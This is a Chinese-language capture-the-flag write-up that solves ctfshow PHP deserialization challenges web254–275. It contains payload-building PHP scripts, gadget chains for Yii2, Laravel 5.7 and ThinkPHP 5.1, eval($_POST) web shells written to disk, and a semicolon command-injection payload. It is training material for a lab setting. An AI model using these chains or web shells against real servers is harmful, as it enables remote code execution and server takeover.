web254
代码审计:
定义了ctfShoeUser类
get传参username和password,isset()是检查变量是否被定义的函数,若变量被定义且值不是null,那么返回值是true,接着实例化对象user.....最终输出flag
所以我们传入的参数只要是已经被定义的值就行
?username=xxxxxx&password=xxxxxx
web255
代码审计:
$username=$_GET['username'];
$password=$_GET['password']; //传参username、password
if(isset($username) && isset($password)){ //检查两个参数是否被定义,所以我们需要传参为xxxxx
$user = unserialize($_COOKIE['user']); //cookie传参给user,将其反序列化赋值给user
if($user->login($username,$password)){ //
if($user->checkVip()){ //调用checkVip,返回值需要不为空,所以isVip需要赋
值为True
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
所以这题继续给username、password传参为xxxxxx,
还要对user进行cookie传参,将isVip改值为True
反序列格式:
O:类名长度:"类名":类的参数数量:{s:变量的数量:"变量名";s:变量长度:"变量值";};
传入的isVip参数 cookie值:
O:11:"ctfShowUser":1:{s:5:"isVip";s:4:"True";}
username=xxxxxx&password=xxxxxx
对user值进行url编码:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22True%22%3B%7D
最终结果如下
cookie传参如上
web256
在上一题的基础上更改为不等于,就是说传入的username不能等于password
更改user值,在修改isVip的基础上传入username值为a
?username=a&password=xxxxxx
cookie user=O:11:"ctfShowUser":2:{s:8:"username";s:1:"a";s:5:"isVip";s:4:"True";};
对cookie编码
user=O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22True%22%3B%7D%3B
web257
这题的关键是执行backDoor函数,源代码无法执行,进行无法利用eval()
需要利用反序列化 向user传入想要执行的system('tac flag.php')命令
而执行backDoor函数,也是利用user将__construct函数中的info改为:
$test=new backDoor()
利用php代码,得到构造的序列化,并且利用php对其进行url编码:
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('tac flag.php');";
}
$a=new ctfShowUser();
echo serialize($a);
echo urlencode( serialize($a));
得到user:
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D
payload:
得到flag:
web258
这题和上题一样,多了一个正则匹配/[oc]:\d+:/:
表示o/O:后面不能跟数字,我们只需要修改成O:+2即可绕过正则表达式
得到以下
O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system('tac flag.php');";}}
在O:后添加+,要记得全部,不只是开头
O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system('tac flag.php');";}}
再进行url编码,cookie传参
user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system('tac%20flag.php')%3B%22%3B%7D%7D
得到flag
web259
web260
将ctfshow的值序列化,其结果匹配ctfshow_i_love_36D,
成功则输出flag
ctfshow_i_love_36D的序列化结果就包含ctfshow_i_love_36D
web261
有两个利用点,一个是触发__invoke(),执行eval(),它的触发时机是对象被当作函数调用,这点无法被利用;
另一个是触发__destruct(),利用file_put_contents()将一句话木马写入后门;
但这一题增加了一个__unserialize()魔术方法,在php7.4.0之后,__unserialize()和__wakeup()同时存在,触发__unserialize(),__wakeup()不会被触发,因此不用控制username和password为空。
所以我们利用username、password写一句话木马
file_put_contents(文件名,文件内容)
code==0x36d 而code 在__unserialize()中被定义为username.password(.表示将前后连接)
code==0x36d(十进制为877),是弱类型比较,877q也能通过比较
<?php
class ctfshowvip{
public $username='877.php';
public $password='<?php eval($_POST[1]) ?>';
}
$a = new ctfshowvip();
echo urlencode(serialize($a));
结果得到:
O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29+%3F%3E%22%3B%7D
写入后门文件
查看目录名,得到flag_is_here
读取文件,得到flag
web262
源代码发现message.php
访问message.php
可见只有当token=admin时才会返回flag
str_replace('fuck','loveU',serialize($msg))表示将fuck替换成loveU
这题考查的是字符串逃逸(增多),具体原理见另外一篇文章php反序列化 字符串逃逸 橙子科技靶场-CSDN博客
f、m、t的值中,t是关键,需要等于admin,其他两个无所谓
f=a&f=b只需要简单的get传参
需要利用t进行字符串逃逸,传入token的值admin
<?php
class message{
public $to;
public $token='admin';
public function __construct($t){
$this->to = $t;
}
}
$t = '......';
$msg = new message($t);
echo serialize($msg);
//O:7:"message":2:{s:2:"to";s:14:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg;
//O:7:"message":2:{s:2:"to";s:14:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}
通过计算得到
t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
才能在被loveU替代后,想要注入的token=asmin才会被挤出来
再访问message.php
得到
web263
打开后是一个登录页面,查看源代码,发现一个check.php,访问无效
使用dirsearch对网站进行扫描,得到一些文件名
访问www.zip,得到以下文件
开始代码审计:
index.php文件
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
出现代码错误,limti拼写错误导致条件为假,从而执行后面的代码
$_SESSION['limit']=base64_decode($_COOKIE['limit']);
由此我们可以通过修改cookie的值从而定义session,而后$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);对session并没有影响,不用管它。
inc.php
ini_set('session.serialize_handler', 'php');
表示session值传入后通过php读取,那么猜测存储利用的是php_serialize
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
从这里我们可以构造poc,利用file_put_contents()植入木马
由此,开始构造poc
<?php
class User{
public $username;
public $password;
public $status;
}
$a=new User();
$a->username="1.php";
$a->password="<?php eval($_POST[1]); ?>";
$a->status="成功";
echo serialize($a);
得到结果为
O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php eval($_POST[1]); ?>";s:6:"status";s:6:"成功";}
php_serialize存储为
a:1:{s:5:"limit";s:88:"|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[1]); ?>";s:6:"status";s:6:"成功";}";}
php读取为
(键名) a:1:{s:5:"limit";s:88:" | (经过serialize()序列化处理的值) O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:6:"status";s:6:"成功";}
因为index.php是对cookie的limit进行base64加密再赋值给session解码,所以我们还需要再加密
$b='|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php eval($_POST[1]); ?>";s:6:"status";s:6:"成功";}';
echo base64_encode($b);
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNToiPD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/PiI7czo2OiJzdGF0dXMiO3M6Njoi5oiQ5YqfIjt9
先在页面更改cookie的limit值
再访问一下inc/inc.php,触发limit反序列化,才会将木马写入
再访问我们写入木马的文件 /1.php
并执行命令,得到flag
web264
传参f m t ,然后将其序列化,把loveU替换成fuck得到umsg,(这里用到的是之前的字符串逃逸)再base64加密传给session的msg(上一题的session)
但少了点啥,查看开头发现还有message.php,读取文件
两个文件相当于把传入的值序列化,又加密再解密传值又再反序列化传值给msg
要求msg的token等于admin(之前的字符串逃逸,我之前赋值粘贴前面的web262)
t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
f m随便传
get传参
f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
再修改message.php文件的cookie值,msg改为1,因为
这里要求msg不为空,才执行后面的代码
所以我先访问message.php,利用bp抓包,在cookie中添加msg的值为1
发送后,得到flag
web265
Get传参输入ctfshow,然后对其反序列化,所以我们要输入一个序列化的值
token赋值为一个随机数,login()又要求token==password
这里需要用到类成员的引用,才能使token==password,无论token的值被怎么改变
$a->password=&$a->token;
构造poc
<?php
class ctfshowAdmin{
public $token;
public $password;
}
$a=new ctfshowAdmin();
$a->password=&$a->token;
echo serialize($a);
得到序列化结果为
O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}
get传参,得到flag
web266
这题执行__destruct(),最终才会输出flag,__destruct()的触发时机使进行反序列化
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
这表示对cs进行匹配,不能含有ctfshow,否则会报错
那么我们利用大小写绕过即可
O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
改为
O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
$cs = file_get_contents('php://input');
表示POST传参给cs
利用hackbar执行没有反应,我利用了bp
web267
yii反序列漏洞
查看源代码,看这个页面是什么框架
点击yjj
可见使用的yjj框架 2.0版本
Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。CVE编号是CVE-2020-15148。
需要找到注入点,先尝试登录:
尝试后发现是弱密码登录,用户名、密码都是admin
登录后查看一些页面,about页面变了
查看源代码
读取url
?r=site%2Fabout&view-source
得到提示,访问/backdoor/shell,get传参给code
利用脚本,得到encode的值
其中的命令要反复尝试,一些函数会被过滤,这里是向1.php文件写入木马
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id ="echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/11.php";
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3NDoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xMS5waHAiO31pOjE7czozOiJydW4iO319fX0=
然后访问1.php文件
POST传参想要的值
web268
这题还是先按照上一题的登录进行,但放入code后,没有反应,修改命令,换成拼接也不行
只能尝试换个链子
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令
echo(base64_encode(serialize($exp)));
}
再最后写入查看文件命令也行,一句话木马也行
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxMjoiY3AgL2YqIDEudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0=
再读取1.txt
web269
同web268
web270
同web268
web271
Laravel v5.7反序列化漏洞
先查看目录
再换成ls / 查看根目录
data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A4%3A%22ls+%2F%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D
得到flag文件
O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D
web272
同上一题
web273
同上一题
web274
thinkphp5.1的链子
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
这里需要data的get传参(system)以及放入lin的值(想要执行的命令)
web275
class filter{ //定义一个类
public $filename;
public $filecontent;
public $evilfile=false; //evilfile常量为false
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){ //定义检查函数,判断filename是否匹配php等,若匹配则evilname=true
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){ //实例化对象后被调用,对于这题 new filter($_GET['fn'],$content)__destruct会被调用
if($this->evilfile){ //需要使evilname=true
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){ //evilname=false执行以下
file_put_contents($_GET['fn'], $content); //写入文件
copy($_GET['fn'],md5(mt_rand()).'.txt'); //复制文件,文件名为md5随机数
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); //删除原来的文件
echo 'work done';
}
}else{
echo 'where is flag?';
}
由此 get传参 fn=php可以执行system
但是rm会被放入,只需要用;隔开即可
?fn=php;ls
?fn=php;tac flag.php